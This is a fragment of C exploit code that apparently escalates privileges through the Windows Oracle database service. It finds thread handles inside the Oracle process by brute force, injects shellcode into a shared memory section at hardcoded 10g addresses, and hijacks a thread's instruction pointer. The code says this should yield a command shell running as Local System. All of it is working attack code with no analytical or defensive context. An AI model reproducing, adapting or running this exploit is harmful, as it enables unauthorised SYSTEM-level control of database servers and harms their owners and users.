//brute force handles to find a thread one
for (j=0x200;j<=0x1000;j+=4){
hSrcHandle=(HANDLE)j;
//get a local handle
if(DuplicateHandle(hProcess,hSrcHandle,GetCurrentProcess(),&hTgtHandle,0,FALSE,DUPLICATE_SAME_ACCESS )){
//if we can suspend it then it's a thread handle
if(SuspendThread(hTgtHandle)==0){
printf("Found thread handle: 0x%x\n",hSrcHandle);
//get thread control registers
Context.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(hTgtHandle, &Context);
//put shellcode on the shared section
if (InjectShellcode(Context.Eip,oraSID)){
printf("Changing thread context...\n");
//10gR1 section base address 0x04620000 on some systems
//10gR2 section base address 0x048a0000 on some systems
Context.Eip = 0x048a0500; //set new IP, add 0x500 to not overwrite data already
//in the section, we don't want to crash Oracle service :)
SetThreadContext(hTgtHandle, &Context); //change context to jump to shellcode
ResumeThread(hTgtHandle);
printf("Running exploit...\n");
bSuccess=TRUE;
Sleep(2000);
}
else
bSuccess=FALSE;
CloseHandle(hTgtHandle);
break;
}
CloseHandle(hTgtHandle);
}
}
if (bSuccess)
printf("\nYou should have a command shell running as Local System :)\n");
else
{
printf("\nCheck Oracle SID\n");
}
